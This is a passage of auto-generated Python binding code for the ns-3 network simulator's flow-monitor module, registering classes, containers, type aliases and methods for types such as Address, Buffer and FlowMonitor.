import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) ## net-device.h (module 'network'): ns3::QueueItem [class] module.add_class('QueueItem', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >']) ## net-device.h (module 'network'): ns3::QueueItem::Uint8Values [enumeration] module.add_enum('Uint8Values', ['IP_DSFIELD'], outer_class=root_module['ns3::QueueItem'], import_from_module='ns.network') ## nstime.h (module 'core'): ns3::TimeValue [class] module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## type-id.h (module 'core'): ns3::TypeIdChecker [class] module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## type-id.h (module 'core'): ns3::TypeIdValue [class] module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## address.h (module 'network'): ns3::AddressChecker [class] module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## address.h (module 'network'): ns3::AddressValue [class] module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) module.add_container('std::vector< ns3::Ipv6Address >', 'ns3::Ipv6Address', container_type=u'vector') module.add_container('std::vector< unsigned int >', 'unsigned int', container_type=u'vector') module.add_container('std::vector< unsigned long long >', 'long long unsigned int', container_type=u'vector') module.add_container('std::map< unsigned int, ns3::FlowMonitor::FlowStats >', ('unsigned int', 'ns3::FlowMonitor::FlowStats'), container_type=u'map') module.add_container('std::vector< ns3::Ptr< ns3::FlowProbe > >', 'ns3::Ptr< ns3::FlowProbe >', container_type=u'vector') module.add_container('std::map< unsigned int, ns3::FlowProbe::FlowStats >', ('unsigned int', 'ns3::FlowProbe::FlowStats'), container_type=u'map') module.add_container('std::map< unsigned int, unsigned int >', ('unsigned int', 'unsigned int'), container_type=u'map') typehandlers.add_type_alias(u'uint32_t', u'ns3::FlowPacketId') typehandlers.add_type_alias(u'uint32_t*', u'ns3::FlowPacketId*') typehandlers.add_type_alias(u'uint32_t&', u'ns3::FlowPacketId&') typehandlers.add_type_alias(u'uint32_t', u'ns3::FlowId') typehandlers.add_type_alias(u'uint32_t*', u'ns3::FlowId*') typehandlers.add_type_alias(u'uint32_t&', u'ns3::FlowId&') ## Register a nested module for the namespace FatalImpl nested_module = module.add_cpp_namespace('FatalImpl') register_types_ns3_FatalImpl(nested_module) ## Register a nested module for the namespace Hash nested_module = module.add_cpp_namespace('Hash') register_types_ns3_Hash(nested_module) ## Register a nested module for the namespace TracedValueCallback nested_module = module.add_cpp_namespace('TracedValueCallback') register_types_ns3_TracedValueCallback(nested_module) def register_types_ns3_FatalImpl(module): root_module = module.get_root() def register_types_ns3_Hash(module): root_module = module.get_root() ## hash-function.h (module 'core'): ns3::Hash::Implementation [class] module.add_class('Implementation', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash32Function_ptr') typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash32Function_ptr*') typehandlers.add_type_alias(u'uint32_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash32Function_ptr&') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *', u'ns3::Hash::Hash64Function_ptr') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) **', u'ns3::Hash::Hash64Function_ptr*') typehandlers.add_type_alias(u'uint64_t ( * ) ( char const *, size_t ) *&', u'ns3::Hash::Hash64Function_ptr&') ## Register a nested module for the namespace Function nested_module = module.add_cpp_namespace('Function') register_types_ns3_Hash_Function(nested_module) def register_types_ns3_Hash_Function(module): root_module = module.get_root() ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a [class] module.add_class('Fnv1a', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32 [class] module.add_class('Hash32', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64 [class] module.add_class('Hash64', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3 [class] module.add_class('Murmur3', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) def register_types_ns3_TracedValueCallback(module): root_module = module.get_root() typehandlers.add_type_alias(u'void ( * ) ( ns3::Time, ns3::Time ) *', u'ns3::TracedValueCallback::Time') typehandlers.add_type_alias(u'void ( * ) ( ns3::Time, ns3::Time ) **', u'ns3::TracedValueCallback::Time*') typehandlers.add_type_alias(u'void ( * ) ( ns3::Time, ns3::Time ) *&', u'ns3::TracedValueCallback::Time&') def register_methods(root_module): register_Ns3Address_methods(root_module, root_module['ns3::Address']) register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList']) register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item']) register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer']) register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator']) register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator']) register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item']) register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList']) register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator']) register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item']) register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase']) register_Ns3EventId_methods(root_module, root_module['ns3::EventId']) register_Ns3FlowMonitorHelper_methods(root_module, root_module['ns3::FlowMonitorHelper']) register_Ns3Hasher_methods(root_module, root_module['ns3::Hasher']) register_Ns3Histogram_methods(root_module, root_module['ns3::Histogram']) register_Ns3Inet6SocketAddress_methods(root_module, root_module['ns3::Inet6SocketAddress']) register_Ns3InetSocketAddress_methods(root_module, root_module['ns3::InetSocketAddress']) register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address']) register_Ns3Ipv4InterfaceAddress_methods(root_module, root_module['ns3::Ipv4InterfaceAddress']) register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask']) register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address']) register_Ns3Ipv6InterfaceAddress_methods(root_module, root_module['ns3::Ipv6InterfaceAddress']) register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix']) register_Ns3Mac48Address_methods(root_module, root_module['ns3::Mac48Address']) register_Ns3NodeContainer_methods(root_module, root_module['ns3::NodeContainer']) register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase']) register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter']) register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory']) register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata']) register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item']) register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator']) register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator']) register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item']) register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList']) register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData']) register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) register_Ns3Simulator_methods(root_module, root_module['ns3::Simulator']) register_Ns3Tag_methods(root_module, root_module['ns3::Tag']) register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer']) register_Ns3TimeWithUnit_methods(root_module, root_module['ns3::TimeWithUnit']) register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId']) register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation']) register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation']) register_Ns3Empty_methods(root_module, root_module['ns3::empty']) register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t']) register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk']) register_Ns3Header_methods(root_module, root_module['ns3::Header']) register_Ns3Ipv4Header_methods(root_module, root_module['ns3::Ipv4Header']) register_Ns3Ipv6Header_methods(root_module, root_module['ns3::Ipv6Header']) register_Ns3Object_methods(root_module, root_module['ns3::Object']) register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator']) register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) register_Ns3SimpleRefCount__Ns3FlowClassifier_Ns3Empty_Ns3DefaultDeleter__lt__ns3FlowClassifier__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> >']) register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) register_Ns3SimpleRefCount__Ns3Ipv4MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4MulticastRoute__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >']) register_Ns3SimpleRefCount__Ns3Ipv4Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4Route__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >']) register_Ns3SimpleRefCount__Ns3NetDeviceQueue_Ns3Empty_Ns3DefaultDeleter__lt__ns3NetDeviceQueue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >']) register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) register_Ns3SimpleRefCount__Ns3QueueItem_Ns3Empty_Ns3DefaultDeleter__lt__ns3QueueItem__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >']) register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) register_Ns3Socket_methods(root_module, root_module['ns3::Socket']) register_Ns3SocketIpTosTag_methods(root_module, root_module['ns3::SocketIpTosTag']) register_Ns3SocketIpTtlTag_methods(root_module, root_module['ns3::SocketIpTtlTag']) register_Ns3SocketIpv6HopLimitTag_methods(root_module, root_module['ns3::SocketIpv6HopLimitTag']) register_Ns3SocketIpv6TclassTag_methods(root_module, root_module['ns3::SocketIpv6TclassTag']) register_Ns3SocketPriorityTag_methods(root_module, root_module['ns3::SocketPriorityTag']) register_Ns3SocketSetDontFragmentTag_methods(root_module, root_module['ns3::SocketSetDontFragmentTag']) register_Ns3Time_methods(root_module, root_module['ns3::Time']) register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor']) register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer']) register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor']) register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker']) register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue']) register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker']) register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase']) register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue']) register_Ns3EmptyAttributeAccessor_methods(root_module, root_module['ns3::EmptyAttributeAccessor']) register_Ns3EmptyAttributeChecker_methods(root_module, root_module['ns3::EmptyAttributeChecker']) register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue']) register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl']) register_Ns3FlowClassifier_methods(root_module, root_module['ns3::FlowClassifier']) register_Ns3FlowMonitor_methods(root_module, root_module['ns3::FlowMonitor']) register_Ns3FlowMonitorFlowStats_methods(root_module, root_module['ns3::FlowMonitor::FlowStats']) register_Ns3FlowProbe_methods(root_module, root_module['ns3::FlowProbe']) register_Ns3FlowProbeFlowStats_methods(root_module, root_module['ns3::FlowProbe::FlowStats']) register_Ns3Ipv4_methods(root_module, root_module['ns3::Ipv4']) register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker']) register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue']) register_Ns3Ipv4FlowClassifier_methods(root_module, root_module['ns3::Ipv4FlowClassifier']) register_Ns3Ipv4FlowClassifierFiveTuple_methods(root_module, root_module['ns3::Ipv4FlowClassifier::FiveTuple']) register_Ns3Ipv4FlowProbe_methods(root_module, root_module['ns3::Ipv4FlowProbe']) register_Ns3Ipv4L3Protocol_methods(root_module, root_module['ns3::Ipv4L3Protocol']) register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker']) register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue']) register_Ns3Ipv4MulticastRoute_methods(root_module, root_module['ns3::Ipv4MulticastRoute']) register_Ns3Ipv4Route_methods(root_module, root_module['ns3::Ipv4Route']) register_Ns3Ipv4RoutingProtocol_methods(root_module, root_module['ns3::Ipv4RoutingProtocol']) register_Ns3Ipv6_methods(root_module, root_module['ns3::Ipv6']) register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker']) register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue']) register_Ns3Ipv6FlowClassifier_methods(root_module, root_module['ns3::Ipv6FlowClassifier']) register_Ns3Ipv6FlowClassifierFiveTuple_methods(root_module, root_module['ns3::Ipv6FlowClassifier::FiveTuple']) register_Ns3Ipv6FlowProbe_methods(root_module, root_module['ns3::Ipv6FlowProbe']) register_Ns3Ipv6L3Protocol_methods(root_module, root_module['ns3::Ipv6L3Protocol']) register_Ns3Ipv6PmtuCache_methods(root_module, root_module['ns3::Ipv6PmtuCache']) register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker']) register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue']) register_Ns3Mac48AddressChecker_methods(root_module, root_module['ns3::Mac48AddressChecker']) register_Ns3Mac48AddressValue_methods(root_module, root_module['ns3::Mac48AddressValue']) register_Ns3NetDevice_methods(root_module, root_module['ns3::NetDevice']) register_Ns3NetDeviceQueue_methods(root_module, root_module['ns3::NetDeviceQueue']) register_Ns3NetDeviceQueueInterface_methods(root_module, root_module['ns3::NetDeviceQueueInterface']) register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector']) register_Ns3Node_methods(root_module, root_module['ns3::Node']) register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker']) register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue']) register_Ns3OutputStreamWrapper_methods(root_module, root_module['ns3::OutputStreamWrapper']) register_Ns3Packet_methods(root_module, root_module['ns3::Packet']) register_Ns3QueueItem_methods(root_module, root_module['ns3::QueueItem']) register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue']) register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker']) register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue']) register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker']) register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue']) register_Ns3HashImplementation_methods(root_module, root_module['ns3::Hash::Implementation']) register_Ns3HashFunctionFnv1a_methods(root_module, root_module['ns3::Hash::Function::Fnv1a']) register_Ns3HashFunctionHash32_methods(root_module, root_module['ns3::Hash::Function::Hash32']) register_Ns3HashFunctionHash64_methods(root_module, root_module['ns3::Hash::Function::Hash64']) register_Ns3HashFunctionMurmur3_methods(root_module, root_module['ns3::Hash::Function::Murmur3']) return def register_Ns3Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## address.h (module 'network'): ns3::Address::Address() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor] cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [copy constructor] cls.add_constructor([param('ns3::Address const &', 'address')]) ## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function] cls.add_method('CheckCompatible', 'bool', [param('uint8_t', 'type'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyAllFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function] cls.add_method('CopyAllTo', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'uint32_t', [param('uint8_t *', 'buffer')], is_const=True) ## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'buffer')]) ## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function] cls.add_method('GetLength', 'uint8_t', [], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function] cls.add_method('IsInvalid', 'bool', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function] cls.add_method('IsMatchingType', 'bool', [param('uint8_t', 'type')], is_const=True) ## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function] cls.add_method('Register', 'uint8_t', [], is_static=True) ## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'buffer')], is_const=True) return def register_Ns3AttributeConstructionList_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::Ptr<ns3::AttributeValue> value) [member function] cls.add_method('Add', 'void', [param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')]) ## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::Begin() const [member function] cls.add_method('Begin', 'std::_List_const_iterator< ns3::AttributeConstructionList::Item >', [], is_const=True) ## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::End() const [member function] cls.add_method('End', 'std::_List_const_iterator< ns3::AttributeConstructionList::Item >', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('Find', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True) return def register_Ns3AttributeConstructionListItem_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable] cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False) return def register_Ns3Buffer_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [copy constructor] cls.add_constructor([param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(uint32_t end) [member function] cls.add_method('AddAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtStart(uint32_t start) [member function] cls.add_method('AddAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function] cls.add_method('Begin', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Buffer', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function] cls.add_method('End', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function] cls.add_method('PeekData', 'uint8_t const *', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3BufferIterator_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function] cls.add_method('GetDistanceFrom', 'uint32_t', [param('ns3::Buffer::Iterator const &', 'o')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetRemainingSize() const [member function] cls.add_method('GetRemainingSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function] cls.add_method('IsEnd', 'bool', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function] cls.add_method('IsStart', 'bool', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function] cls.add_method('Next', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function] cls.add_method('Next', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::PeekU8() [member function] cls.add_method('PeekU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function] cls.add_method('Prev', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function] cls.add_method('Prev', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(ns3::Buffer::Iterator start, uint32_t size) [member function] cls.add_method('Read', 'void', [param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 